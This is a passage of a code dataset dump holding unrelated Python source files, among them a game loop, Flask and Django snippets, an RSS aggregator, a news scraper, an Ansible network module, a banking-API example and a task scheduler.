cpu.outQ.get(True)\r\n if x == \"END\":\r\n return\r\n if x == \"P>\":\r\n #This game is tricky.\r\n #De-comment this to have the paddle auto-track the ball\r\n if paddleX < ballX:\r\n cpu.inQ.put(1)\r\n elif paddleX > ballX:\r\n cpu.inQ.put(-1)\r\n else:\r\n cpu.inQ.put(0)\r\n #screen.wait_for_input(5)\r\n #joy = screen.get_key()\r\n #if joy == ord('a'):\r\n # cpu.inQ.put(-1)\r\n #elif joy == ord('d'):\r\n # cpu.inQ.put(1)\r\n #else:\r\n # cpu.inQ.put(0)\r\n time.sleep(0.05)\r\n continue\r\n y = cpu.outQ.get(True)\r\n tile = cpu.outQ.get(True)\r\n\r\n if x == -1:\r\n score = tile\r\n screen_complete = True\r\n screen.print_at('{0:05d}'.format(tile), 0, 25, colour=7)\r\n else:\r\n if tile == 3:\r\n paddleX = x\r\n if tile == 4:\r\n ballX = x\r\n screen.print_at(tiles[tile], x, y, colour=colours[tile])\r\n \r\n if screen_complete:\r\n #if cpu.waiting:\r\n # joy = screen.get_key()\r\n # if joy == ord('a'):\r\n # cpu.inQ.put(-1)\r\n # elif joy == ord('d'):\r\n # cpu.inQ.put(1)\r\n # elif joy == None:\r\n # cpu.inQ.put(0)\r\n # elif joy == ord('q'):\r\n # return \r\n screen.refresh()\r\n \r\n\r\ncpu.loadfile(\"ARCADE\")\r\ncpu.ram[0] = 2\r\ncpu.start()\r\nScreen.wrapper(arcade)\r\nprint(\"Game Over\")\r\nprint(\"Your score was:\", score)\r\n","sub_path":"AoC_13-2.py","file_name":"AoC_13-2.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"326726126","text":"import sys\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtCore import *\nfrom graphemes import readGrapheme, Grapheme\nfrom parse import parseString\nfrom MainWindow import MainWindow\n\nsceneFile = '''\\\n[text id:0 string:\"foo\" font:\"Times New Roman\" size:24 bold:false\n italic:true color:black show:true x:350 y:100]\n\n'''\n\ndef main():\n entries = parseString(sceneFile)\n es = []\n for keyword, d in entries:\n if keyword == \"wait\":\n es.append(\"wait\")\n else:\n es.append(readGrapheme(keyword, d))\n app = QApplication(sys.argv)\n w = MainWindow(es)\n w.show()\n app.exec_()\n \n\nmain()\n","sub_path":"app/Pyvid/testPyvid1.py","file_name":"testPyvid1.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"374578612","text":"# -*- coding: utf-8 -*-\n# author: Zakovinko Vadym \nfrom apps.statistic.models import HttpRequest\n\n\nclass HttpRequestStatistic(object):\n '''\n Logging all http requests to datebase\n '''\n\n def process_request(self, request):\n request_path = request.get_full_path()\n record = HttpRequest(url=request_path)\n record.save()\n\n","sub_path":"apps/statistic/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"399066387","text":"import os\nimport sqlite3\nimport argparse\n\nfrom os.path import isfile\nfrom shutil import copyfile\n\nfrom .index import Index\nfrom .feed import Feed\n\n\ndef create_index():\n index = Index()\n content = index.generate_index()\n f = open(\"index.html\", \"w+\")\n f.write(content)\n f.close()\n return\n\n\ndef setup_cache(folder_name):\n db_location = folder_name + \"/.cache\"\n f = open(db_location, \"w\")\n f.close()\n conn = sqlite3.connect(db_location)\n c = conn.cursor()\n c.execute(\n \"CREATE TABLE cache (id integer primary key, feed_url text, etag text, hash text, last_delete timestamp)\"\n )\n conn.commit()\n conn.close()\n return\n\n\ndef setup(folder_name):\n\n if not os.path.exists(folder_name):\n os.makedirs(folder_name)\n setup_cache(folder_name)\n setup_files(folder_name)\n f = open(os.path.join(folder_name, \"feeds\"), \"w\")\n f.close()\n print(\"Folder created\")\n else:\n print(f\"Folder with name {folder_name} already exists, aborting\")\n return\n\n\ndef setup_files(folder_name: str):\n current_location: str = os.path.dirname(os.path.abspath(__file__))\n files_location = os.path.join(current_location, \"setup_files\")\n templates_location = os.path.join(folder_name, \"templates\")\n\n if not os.path.exists(templates_location):\n os.makedirs(templates_location)\n copyfile(\n os.path.join(files_location, \"index.html\"),\n os.path.join(templates_location, \"index.html\"),\n )\n copyfile(\n os.path.join(files_location, \"entry.html\"),\n os.path.join(templates_location, \"entry.html\"),\n )\n\n\ndef create_parser():\n parser = argparse.ArgumentParser(description=\"Aggregate RSS.\")\n parser.add_argument(\n \"-i\", \"--input\", type=str, help=\"The file with the feed URLs\", default=\"feeds\"\n )\n parser.add_argument(\"-s\", \"--setup\", help=\"Setup a folder for RSS feeds\")\n\n return parser\n\n\ndef main():\n parser = create_parser()\n args = parser.parse_args()\n\n input_file_path = args.input\n setup_folder_name = args.setup\n\n if setup_folder_name:\n setup(setup_folder_name)\n\n return\n else:\n\n if not isfile(input_file_path):\n raise TypeError(\"Missing input file\")\n\n input_file = open(input_file_path, \"r\")\n feed_urls = input_file.readlines()\n input_file.close()\n\n for url in feed_urls:\n feed = Feed(url)\n feed.sync()\n\n create_index()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"tomeu/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"622584549","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# Creaded on 2017/5/12\r\n\"\"\"__DOC__\"\"\"\r\n\r\nfrom flask import jsonify, request, render_template\r\nfrom . import main_bp\r\n\r\n\r\nstores = [{\r\n 'name': 'My Store',\r\n 'items': [{'name': 'my item', 'price': '15.99'}]\r\n}]\r\n\r\n\r\n@main_bp.route('/')\r\ndef home():\r\n return render_template('main.html')\r\n\r\n\r\n# post /store data: {name :}\r\n@main_bp.route('/store', methods=['POST'])\r\ndef create_store():\r\n request_data = request.get_json()\r\n new_store = {\r\n 'name': request_data['name'],\r\n 'items': []\r\n }\r\n stores.append(new_store)\r\n return jsonify(new_store)\r\n\r\n\r\n# get /store/ data: {name:}\r\n@main_bp.route('/store/')\r\ndef get_store(name):\r\n for store in stores:\r\n if store['name'] == name:\r\n return jsonify(store)\r\n return jsonify({'message': 'store not found'})\r\n\r\n\r\n# get store\r\n@main_bp.route('/store', methods=['GET'])\r\ndef get_stores():\r\n return jsonify(stores)\r\n\r\n\r\n# post /store/ data: {name:}\r\n@main_bp.route('/store/', methods=['POST'])\r\ndef create_item_in_store(name):\r\n request_data = request.get_json()\r\n for store in stores:\r\n if store['name'] == name:\r\n new_item = {\r\n 'name': request_data['name'],\r\n 'price': request_data['price']\r\n }\r\n store['items'].append(new_item)\r\n return jsonify(new_item)\r\n return jsonify({'message': 'store not found'})\r\n\r\n\r\n# get /store//item data: {name:}\r\n@main_bp.route('/store//item')\r\ndef get_item_in_store(name):\r\n for store in stores:\r\n if store['name'] == name:\r\n return jsonify({'items': store['items']})\r\n return jsonify({'message': 'store not found'})\r\n\r\n\r\nif __name__ == '__main__':\r\n pass\r\n","sub_path":"application/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"223023862","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jan 2 17:51:46 2017\r\n\r\n@author: jean\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport os\r\n\r\nroot = \"F:/Google Drive/Polytechnique/3A/P3A/DATA/RATP_GTFS_LINES/\"\r\nfolders = os.listdir(root)\r\ni = 0\r\nfor folder in folders:\r\n# if \"BUS\" not in folder :\r\n if \"METRO\" in folder:\r\n current_folder = root+folder+\"/\"\r\n #La route \r\n routes = pd.read_csv(current_folder + \"routes.txt\", sep=\",\")\r\n \r\n #Les arrêts\r\n stops = pd.read_csv(current_folder + \"stops.txt\", \r\n sep=\",\")\r\n stops_mean = stops.groupby(\"stop_name\").mean()\r\n stops_mean.sort_values(\"stop_id\")\r\n \r\n stops_mean[\"X\"] = stops_mean[\"stop_lon\"]\r\n stops_mean[\"Y\"] = stops_mean[\"stop_lat\"]\r\n \r\n origin_deg = { 'lon':2.337, 'lat':46.8} #Selon fichier sur R\r\n origin = {'X':600000, 'Y':2200000}\r\n for ax in origin :\r\n stops_mean[ax] = (stops_mean[ax] - origin_deg[ax]) * 6371 * 3.1415 / 180\r\n i +=1 \r\n \r\n print(stops_mean.loc[\"Châtelet\"])\r\n print(stops_mean.loc[\"Nation\"])\r\n if i > 0 : break\r\n\r\n \r\n","sub_path":"lireGTFS.py","file_name":"lireGTFS.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"303691486","text":"from mongo import *\nimport requests,json,time,random,threading\nfrom lxml import etree\nclass Coin():\n def shijian(times):\n if times.find('刚刚')!=-1:\n return int(time.time())\n elif times.find('秒')!=-1:\n return int(time.time())\n elif times.find('분전')!=-1:\n sj=int(times[:times.find('분전')])\n sj=int(time.time())-sj*60\n return sj\n elif times.find('시간전')!=-1:\n sj=int(times[:times.find('시간전')])\n sj=int(time.time()-sj*60*60)\n return sj\n elif len(times)==19:\n timeArray = time.strptime(times, \"%Y-%m-%d %H:%M:%S\")\n timeStamp = int(time.mktime(timeArray))\n return timeStamp\n elif len(times)==16:\n times=times+':00'\n timeArray = time.strptime(times, \"%Y-%m-%d %H:%M:%S\")\n timeStamp = int(time.mktime(timeArray))\n return timeStamp\n elif len(times)==25:\n times=Coin.qwbzj(times,'','+').replace('T',' ')\n timeArray = time.strptime(times, \"%Y-%m-%d %H:%M:%S\")\n timeStamp = int(time.mktime(timeArray))\n return timeStamp\n def qwbzj(req,x,y):\n a=req.find(x)\n b=req.find(y,int(a+1))\n return req[a+len(x):b]\n def content(url,title,times,sort,img_url,brief,categories):\n print('文章:%s'%url)\n req=requests.get(url,verify=False).text\n author=Coin.qwbzj(req,'rel=\"author\">','')\n content=Coin.qwbzj(req,'
    ','
    ').strip()\n cc=re.findall(r'href=\\'[^\\s]*\\'',content)\n dd=cc+re.findall(r'href=\"[^\\s]*\"',content)\n print(dd)\n for link in dd:\n content=content.replace(link,'')\n froms='cryptonews.com'\n country='US'\n read_number=0\n try:\n if select_id(url,country) ==None:\n id = us_insert_simple(title,author,int(times),int(time.time()),content,froms,sort,url,img_url,brief,country,categories,read_number)\n us_insert_simple1(id)\n else:\n return False\n except Exception as e:\n return False\n \n def news():\n categories='5af58f86839f3369e4d607e7'\n sort='News'\n offset=0\n title_xpath='//*[@class=\"props\"]/h4/a/text()'\n date_xpath='//*[@datetime]'\n link_xpath='//*[@class=\"props\"]/h4/a'\n briefs_xpath='//*[@class=\"entry-snippet\"]'\n img_xpath='//*[@class=\"img\"]/img'\n while True:\n req=requests.get('https://cryptonews.com/').text\n event=Coin.qwbzj(req,'\"event\":\"','\",\"where')\n where=Coin.qwbzj(req,'\"where\":\"','\",\"')\n data={\n 'event':event,\n 'where':where,\n 'offset':offset\n }\n req=requests.post('https://cryptonews.com/',data=data).text\n con=json.loads(req)\n offset=con['offset']\n req=req.replace(\"\\\\\",'')\n txt=etree.HTML(req)\n date=txt.xpath(date_xpath)\n title=txt.xpath(title_xpath)\n link=txt.xpath(link_xpath)\n\n img=txt.xpath(img_xpath)\n if len(link)<3:\n break\n for num in range(len(link)):\n try:\n brief=title[num]\n state=Coin.content('https://cryptonews.com'+link[num].get('href'),title[num],Coin.shijian(date[num].get('datetime')),sort,img[num].get('src'),brief,categories)\n if state ==False:\n break\n except Exception as e:\n print(e)\n\n if state ==False:\n break\n\n\nif __name__=='__main__':\n ''' cryptonews.com '''\n Coin.news()\n\n","sub_path":"coin_news/us_cryptonews.py","file_name":"us_cryptonews.py","file_ext":"py","file_size_in_byte":3823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"544077160","text":"\n\ndef main():\n argument_spec = dict(lines=dict(aliases=['commands'], type='list'), parents=dict(type='list'), src=dict(type='path'), before=dict(type='list'), after=dict(type='list'), match=dict(default='line', choices=['line', 'strict', 'exact', 'none']), replace=dict(default='line', choices=['line', 'block']), update=dict(choices=['merge', 'check'], default='merge'), save=dict(type='bool', default=False), config=dict(), backup=dict(type='bool', default=False))\n argument_spec.update(dellos6_argument_spec)\n mutually_exclusive = [('lines', 'src'), ('parents', 'src')]\n module = AnsibleModule(argument_spec=argument_spec, mutually_exclusive=mutually_exclusive, supports_check_mode=True)\n parents = (module.params['parents'] or list())\n match = module.params['match']\n replace = module.params['replace']\n warnings = list()\n check_args(module, warnings)\n result = dict(changed=False, saved=False, warnings=warnings)\n candidate = get_candidate(module)\n if module.params['backup']:\n if (not module.check_mode):\n result['__backup__'] = get_config(module)\n commands = list()\n if any((module.params['lines'], module.params['src'])):\n if (match != 'none'):\n config = get_running_config(module)\n config = Dellos6NetworkConfig(contents=config, indent=0)\n if parents:\n config = get_sublevel_config(config, module)\n configobjs = candidate.difference(config, match=match, replace=replace)\n else:\n configobjs = candidate.items\n if configobjs:\n commands = dumps(configobjs, 'commands')\n if (isinstance(module.params['lines'], list) and isinstance(module.params['lines'][0], dict) and set(['prompt', 'answer']).issubset(module.params['lines'][0])):\n cmd = {\n 'command': commands,\n 'prompt': module.params['lines'][0]['prompt'],\n 'answer': module.params['lines'][0]['answer'],\n }\n commands = [module.jsonify(cmd)]\n else:\n commands = commands.split('\\n')\n if module.params['before']:\n commands[:0] = module.params['before']\n if module.params['after']:\n commands.extend(module.params['after'])\n if ((not module.check_mode) and (module.params['update'] == 'merge')):\n load_config(module, commands)\n result['changed'] = True\n result['commands'] = commands\n result['updates'] = commands\n if module.params['save']:\n result['changed'] = True\n if (not module.check_mode):\n cmd = {\n 'command': 'copy running-config startup-config',\n 'prompt': '\\\\(y/n\\\\)\\\\s?$',\n 'answer': 'yes',\n }\n run_commands(module, [cmd])\n result['saved'] = True\n else:\n module.warn('Skipping command `copy running-config startup-config`due to check_mode. Configuration not copied to non-volatile storage')\n module.exit_json(**result)\n","sub_path":"Data Set/bug-fixing-1/063c2f9d59406926b4356e2a86f0f6830cf815d4-
    -bug.py","file_name":"063c2f9d59406926b4356e2a86f0f6830cf815d4-
    -bug.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"136403958","text":"import ssl\nfrom typing import Dict\nimport json\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError\n\n# requests used as an example for sending request. You can safely use urllib\nimport requests\n\nimport enablebanking\nfrom enablebanking.eb.proxy_platform import ProxyPlatform\n\nHOST = 'https://localhost'\nBROKER_CLIENT_CERT_PATH = 'broker_client_tls/client.crt'\nBROKER_CLIENT_KEY_PATH = 'broker_client_tls/client.key'\nBROKER_CA_CERT_PATH = 'broker_client_tls/ca.crt'\n\n\n# All data in the requests should be passed as json, where all payload should be inside `params` field:\n# {'params': 'some_important_information'}\n\ndef sign() -> str:\n res = requests.post(\n HOST + '/sign',\n json={\n 'params': {\n 'data': 'test',\n 'key_id': 'bank_name/seal.key'\n }\n },\n cert=(BROKER_CLIENT_CERT_PATH, BROKER_CLIENT_KEY_PATH),\n verify=BROKER_CA_CERT_PATH\n )\n return res.json()['result']\n\ndef make_request_urllib() -> dict:\n req = Request(\n HOST + '/make-request',\n method='POST',\n data=json.dumps({\n 'params': {\n 'request': {\n 'method': 'POST',\n 'origin': 'https://postman-echo.com',\n 'path': '/post',\n 'headers': [],\n # 'query': [],\n # 'body': '',\n }\n }\n }).encode()\n )\n ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n ssl_context.load_cert_chain(\n BROKER_CLIENT_CERT_PATH,\n BROKER_CLIENT_KEY_PATH\n )\n ssl_context.verify_mode = ssl.CERT_REQUIRED\n ssl_context.load_verify_locations(BROKER_CA_CERT_PATH)\n try:\n with urlopen(req, context=ssl_context) as r:\n response_info = r.info()\n proxy_response = r.read().decode('utf-8')\n return json.loads(proxy_response)['result']\n except HTTPError as e:\n proxy_response = e.fp.read().decode('utf-8')\n return json.loads(proxy_response)\n\ndef make_request_eb():\n connector_settings = dict([\n [\"sandbox\", True],\n [\"consentId\", None],\n [\"accessToken\", None],\n [\"refreshToken\", None],\n [\"clientId\", \"some_id\"],\n [\"clientSecret\", \"some_secret\"],\n [\"certPath\", \"bank_name/public.crt\"],\n [\"keyPath\", \"bank_name/private.key\"],\n [\"signKeyPath\", \"signature.key\"],\n [\"signPubKeySerial\", \"123\"],\n [\"signFingerprint\", \"322123123\"],\n [\"signCertUrl\", \"https://example.com/test-qseal-full.crt\"],\n [\"paymentAuthRedirectUri\", \"https://example.com/redirect_url\"],\n [\"paymentAuthState\", \"test\"]\n ])\n proxy_platform = ProxyPlatform(\n HOST,\n BROKER_CLIENT_CERT_PATH,\n BROKER_CLIENT_KEY_PATH,\n BROKER_CA_CERT_PATH\n )\n api_client = enablebanking.ApiClient('Alior', connector_settings, platform=proxy_platform)\n auth_api = enablebanking.AuthApi(api_client)\n access = enablebanking.Access(balances={}, transactions={})\n return auth_api.get_auth(\n 'code',\n 'https://enablebanking.com/auth_redirect',\n ['aisp'],\n state='test',\n access=access\n )\n\n\n\nif __name__ == '__main__':\n # You can uncomment these functions one by one and check their responses\n # response = sign()\n # response = make_request_urllib()\n response = make_request_eb()\n print(response)\n","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"83220441","text":"import fnmatch\r\nfrom interpreter import *\r\n\r\n\r\nclass Controller:\r\n def __init__(self, view, args):\r\n self.view = view\r\n self.args = args\r\n self.interpreter = Interpreter(self.get_db_name())\r\n\r\n def get_db_name(self):\r\n database_target = \"database.db\"\r\n match = fnmatch.filter(self.args, '--db_*')\r\n if match:\r\n string = match[0]\r\n string = string.split(\"_\")\r\n database_target = string[1]\r\n\r\n if match == \"\":\r\n database_target = \"database.db\"\r\n\r\n return database_target\r\n\r\n def go(self):\r\n message = \"### Assignment #1 - Interpreter\\n\" \\\r\n \"### Developed by: Kris, Kate, and Brendan\\n\" \\\r\n \"### For help, type 'help' for a list of commands\"\r\n\r\n self.view.say(message)\r\n self.interpreter.prompt = '> '\r\n self.interpreter.database.setup()\r\n\r\n if \"help\" in self.args:\r\n self.interpreter.do_help(\"\")\r\n\r\n if \"reset\" in self.args:\r\n self.interpreter.database.reset()\r\n\r\n if \"display_data\" in self.args:\r\n self.interpreter.do_display_data(\"\")\r\n\r\n if \"load_graphs\" in self.args:\r\n self.interpreter.do_load_graphs(\"\")\r\n\r\n self.interpreter.cmdloop()\r\n\r\n message = \"### Thank you for using Interpreter.\\n\" \\\r\n \"### Press any key to close\"\r\n self.view.say(message)\r\n","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"163254163","text":"# encoding: utf-8\n\nclass Color(object):\n def __init__(self, r, g = None, b = None, a = None):\n if type(r) == tuple:\n g = r[0]\n b = r[1]\n r = r[2]\n a = r[3]\n self.r = r\n self.g = g\n self.b = b\n self.a = a\n\n def __repr__(self):\n return 'Color(%d, %d, %d, %d)' % (self.r, self.g, self.b, self.a)\n\n def __eq__(self, another):\n r = g = b = a = -1\n another_type = type(another)\n if another_type == tuple or another_type == list:\n r = another[0]\n g = another[1]\n b = another[2]\n a = another[3]\n else:\n try:\n r = another.r\n g = another.g\n b = another.b\n a = another.a\n except: pass\n return self.r == r and self.g == g and self.b == b and self.a == a\n\n def __ne__(self, another):\n return not self.__eq__(another)\n\n def __sub__(self, another):\n r1 = g1 = b1 = -1\n a1 = 255\n another_type = type(another)\n if another_type == tuple or another_type == list:\n r1 = another[0]\n g1 = another[1]\n b1 = another[2]\n a1 = another[3]\n else:\n try:\n r1 = another.r\n g1 = another.g\n b1 = another.b\n a1 = another.a\n except: pass\n r0 = self.r * self.a // 255\n g0 = self.g * self.a // 255\n b0 = self.b * self.a // 255\n r1 = r1 * a1 // 255\n g1 = g1 * a1 // 255\n b1 = b1 * a1 // 255\n return ((r0 - r1) ** 2 + (g0 - g1) ** 2 + (b0 - b1) ** 2) ** .5\n","sub_path":"pybot/image/_struct/color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"578932607","text":"from chainchomplib import LoggerInterface\r\nfrom chainchomplib.exceptions.Exceptions import NotValidException\r\nfrom chainchomplib.verify.SchemaVerifier import SchemaVerifier\r\nfrom chainchomplib.verify.schema.MessageSchema import MessageSchema\r\n\r\nfrom chainchomp_adapter_kafka.socket.SocketEmitter import SocketEmitter\r\n\r\n\r\nclass IncomingMessageHandler:\r\n\r\n def __init__(self, socket_emitter: SocketEmitter):\r\n self.socket_emitter = socket_emitter\r\n\r\n def handle_incoming_message(self, data):\r\n print('message arrived')\r\n try:\r\n SchemaVerifier.verify(data, MessageSchema())\r\n except NotValidException as exception:\r\n LoggerInterface.error(\r\n f'A message was not properly formatted when arriving on the rabbitmq adapter. '\r\n f'it will be ignored. Exception: {exception}'\r\n )\r\n return\r\n else:\r\n print('message valid')\r\n self.socket_emitter.emit_to_chainchomp_core(data)\r\n","sub_path":"chainchomp_adapter_kafka/messaging/IncomingMessageHandler.py","file_name":"IncomingMessageHandler.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"147642372","text":"\"\"\"\r\nPlot the mean ROC curve for 10-fold cross-validation of each algorithm.\r\nTake the pickle files that contains results of cross-validation, then \r\ncompute the final results and draw the mean ROC cure.\r\nDisplay the ROC curves for both contro_vs_heme and control_vs_nucleotide\r\n\"\"\"\r\nimport argparse\r\nimport pickle\r\nimport numpy as np\r\nfrom scipy import interp\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.metrics import roc_curve, auc\r\nfrom statistics import mean \r\ndef get_args():\r\n \"\"\"\r\n The parser function to set the default vaules of the program parameters or read the new value set by user.\r\n \"\"\" \r\n parser = argparse.ArgumentParser('python')\r\n\r\n parser.add_argument('-model',\r\n default='rf',\r\n required=False,\r\n choices = ['rf', 'mlp', 'lr', 'mlp_img'],\r\n help='random forest, multi-layer perceptron, logistic regression')\r\n\r\n parser.add_argument('-log_dir',\r\n default='./log_autoencoder_mlp/',\r\n required=False,\r\n help='directory to save data for cross validation.')\r\n\r\n return parser.parse_args()\r\n\r\ndef mean_roc(pkl_file, color):\r\n \"\"\"\r\n Plot the average ROC curve for 10-fold cross validation\r\n pik_file ---- contains the dictionary of the validation metrics.\r\n indiv_plot ---- bool, whether to plot the ROC curve for each fold. \r\n \"\"\"\r\n # unpack data\r\n records = pickle.load(pkl_file)\r\n val_acc_records = records['val_acc_records']\r\n #val_precision_records = records['val_precision_records']\r\n #val_recall_records = records['val_recall_records']\r\n val_mcc_records = records['val_mcc_records']\r\n fpr_records = records['fpr_records']\r\n tpr_records = records['tpr_records']\r\n thresholds_records = records['thresholds_records']\r\n\r\n # mean accuracy and mean mcc\r\n print('mean validation accuracy:', mean(val_acc_records))\r\n #print('mean validation precision:', mean(val_precision_records))\r\n #print('mean validation recall:', mean(val_recall_records))\r\n print('mean validation MCC:', mean(val_mcc_records))\r\n\r\n # begin to plot, using code from \r\n # https://scikit-learn.org/stable/auto_examples/model_selection/plot_roc_crossval.html\r\n tprs = []\r\n aucs = []\r\n mean_fpr = np.linspace(0, 1, 100)\r\n for i in range(10): # loop through the folds\r\n # plot the ROC curve for current fold\r\n fpr = fpr_records[i]\r\n tpr = tpr_records[i]\r\n thresholds = thresholds_records[i]\r\n tprs.append(interp(mean_fpr, fpr, tpr)) # interpolate data for averaging\r\n tprs[-1][0] = 0.0\r\n roc_auc = auc(fpr, tpr)\r\n aucs.append(roc_auc)\r\n \r\n # mean ROC cure\r\n mean_tpr = np.mean(tprs, axis=0)\r\n mean_tpr[-1] = 1.0\r\n mean_auc = auc(mean_fpr, mean_tpr)\r\n std_auc = np.std(aucs)\r\n plt.plot(mean_fpr, mean_tpr, color=color,\r\n label=r'Mean ROC (AUC = %0.3f $\\pm$ %0.3f)' % (mean_auc, std_auc),\r\n lw=2, alpha=.8) \r\n #----------------------------end of mean_roc function-------------------------------------\r\n\r\nif __name__ == \"__main__\":\r\n args = get_args()\r\n log_dir = args.log_dir\r\n model = args.model\r\n\r\n title = model + ' ROC curve'\r\n\r\n # unpack data\r\n if model == 'rf':\r\n pkl_file_control_vs_heme = open(log_dir+'rf_'+ 'control_vs_heme' +'_cv'+'.pickle','rb')\r\n pkl_file_control_vs_nucleotide = open(log_dir+'rf_'+ 'control_vs_nucleotide' +'_cv'+'.pickle','rb')\r\n elif model == 'mlp':\r\n pkl_file_control_vs_heme = open(log_dir+'mlp_'+ 'control_vs_heme' +'_cv'+'.pickle','rb')\r\n pkl_file_control_vs_nucleotide = open(log_dir+'mlp_'+ 'control_vs_nucleotide' +'_cv'+'.pickle','rb')\r\n elif model == 'lr':\r\n pkl_file_control_vs_heme = open(log_dir+'lr_'+ 'control_vs_heme' +'_cv'+'.pickle','rb')\r\n pkl_file_control_vs_nucleotide = open(log_dir+'lr_'+ 'control_vs_nucleotide' +'_cv'+'.pickle','rb')\r\n elif model == 'mlp_img':\r\n pkl_file_control_vs_heme = open(log_dir+'mlp_img_'+ 'control_vs_heme' +'_cv'+'.pickle','rb')\r\n pkl_file_control_vs_nucleotide = open(log_dir+'mlp_img_'+ 'control_vs_nucleotide' +'_cv'+'.pickle','rb')\r\n\r\n\r\n # plot ROC curve of random guess\r\n plt.plot([0, 1], [0, 1], linestyle='--', lw=2, color='r', label='Chance', alpha=.8) \r\n mean_roc(pkl_file_control_vs_heme, color='r')\r\n mean_roc(pkl_file_control_vs_nucleotide, color='b')\r\n # miscellaneous\r\n plt.xlim([-0.05, 1.05])\r\n plt.ylim([-0.05, 1.05])\r\n plt.xlabel('False Positive Rate')\r\n plt.ylabel('True Positive Rate')\r\n plt.title('Receiver operating characteristic')\r\n plt.legend(loc=\"lower right\")\r\n\r\n plt.show() \r\n\r\n\r\n\r\n \r\n \r\n","sub_path":"roc_compare.py","file_name":"roc_compare.py","file_ext":"py","file_size_in_byte":4800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"562002930","text":"\"\"\"\nHandle task monitoring and scheduling.\n\"\"\"\n\nimport asyncio\nimport collections\nimport functools\nimport itertools\nimport pendulum\nimport shellish\nimport subprocess\nimport textwrap\nimport traceback\n\n\nclass TaskExecContext(object):\n \"\"\" A data structure representing a task execution. Status and info about\n an invocation is kept here and these instances are used to track activity.\n \"\"\"\n\n def __init__(self, task, loop):\n self.started = None\n self.finished = None\n self.returncode = None\n self.output = ''\n self.state = 'init'\n self.ident = next(task.context_identer)\n self.task = task\n self.loop = loop\n\n def __str__(self):\n return ' for %s' % (self.ident, self.state,\n self.task)\n\n def set_start(self):\n assert self.state == 'init'\n self.started = pendulum.now()\n self.state = 'start'\n\n def set_finish(self, returncode, output):\n assert self.state == 'start'\n self.finished = pendulum.now()\n self.state = 'finish'\n self.output = output\n self.returncode = returncode\n\n @property\n def elapsed(self):\n \"\"\" Increments for active tasks and when finished gives the total\n execution time. \"\"\"\n if self.started is None:\n return pendulum.Interval()\n if self.finished is None:\n return pendulum.now() - self.started\n else:\n return self.finished - self.started\n\n def is_error(self):\n if self.state != 'finish':\n raise TypeError('Task is still running')\n return not not self.returncode\n\n def is_done(self):\n return self.state == 'finished'\n\n @asyncio.coroutine\n def run_task(self):\n self.set_start()\n process, output = yield from self.task(self.loop)\n self.set_finish(process.returncode, output.decode())\n\n\nclass Task(object):\n \"\"\" Encapsulate a repeated task. \"\"\"\n\n identer = itertools.count()\n\n def __init__(self, crontab, cmd):\n self.ident = next(self.identer)\n self.context_identer = itertools.count()\n self.crontab = crontab\n self.cmd = cmd\n self.last_eta = crontab.next(default_utc=False)\n self.run_count = 0\n self.elapsed = pendulum.Interval()\n\n def __str__(self):\n dots = shellish.beststr(\"…\", '...')\n cmd = textwrap.shorten(self.cmd, width=40, placeholder=dots)\n return '' % (self.ident, cmd)\n\n def next_run(self):\n \"\"\" Estimated time of next run. \"\"\"\n return pendulum.Interval(seconds=self.crontab.next(default_utc=False))\n\n @asyncio.coroutine\n def __call__(self, loop):\n start = pendulum.now()\n ps = yield from asyncio.create_subprocess_shell(\n self.cmd,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n loop=loop)\n output = (yield from ps.communicate())[0]\n self.elapsed += pendulum.now() - start\n self.run_count += 1\n return ps, output\n\n def ready(self):\n \"\"\" Returns true when this task should be run. If this function is not\n called as or more frequently than the cron period then it will skip or\n even never return true. It is advised to call this at least double the\n minimum cron period of 1 minute, e.g. 30 seconds. \"\"\"\n next_eta = self.crontab.next(default_utc=False)\n r = self.last_eta < next_eta # rollover occurred == ready\n self.last_eta = next_eta\n return r\n\n\nclass Scheduler(object):\n \"\"\" Manage execution and scheduling of tasks. \"\"\"\n\n def __init__(self, tasks, args, notifier, loop):\n self.tasks = tasks\n self.args = args\n self.notifier = notifier\n self.loop = loop\n self.workers_sem = asyncio.Semaphore(self.args.max_concurrency)\n self.wakeup = asyncio.Event(loop=loop)\n self.active = []\n self.history = collections.deque(maxlen=100)\n\n def is_active(self, task):\n \"\"\" Scan task exec list looking for this task. 